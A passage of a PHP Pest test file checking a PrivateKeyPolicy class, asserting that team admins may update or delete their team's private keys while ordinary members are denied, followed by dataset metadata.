expect($policy->update($user, $privateKey))->toBeFalse();
});
it('allows team admin to update their own team private key', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 1;
};
$policy = new PrivateKeyPolicy;
expect($policy->update($user, $privateKey))->toBeTrue();
});
it('denies team member to update their own team private key', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 1;
};
$policy = new PrivateKeyPolicy;
expect($policy->update($user, $privateKey))->toBeFalse();
});
it('allows root team admin to delete system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->delete($user, $privateKey))->toBeTrue();
});
it('denies root team member to delete system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->delete($user, $privateKey))->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.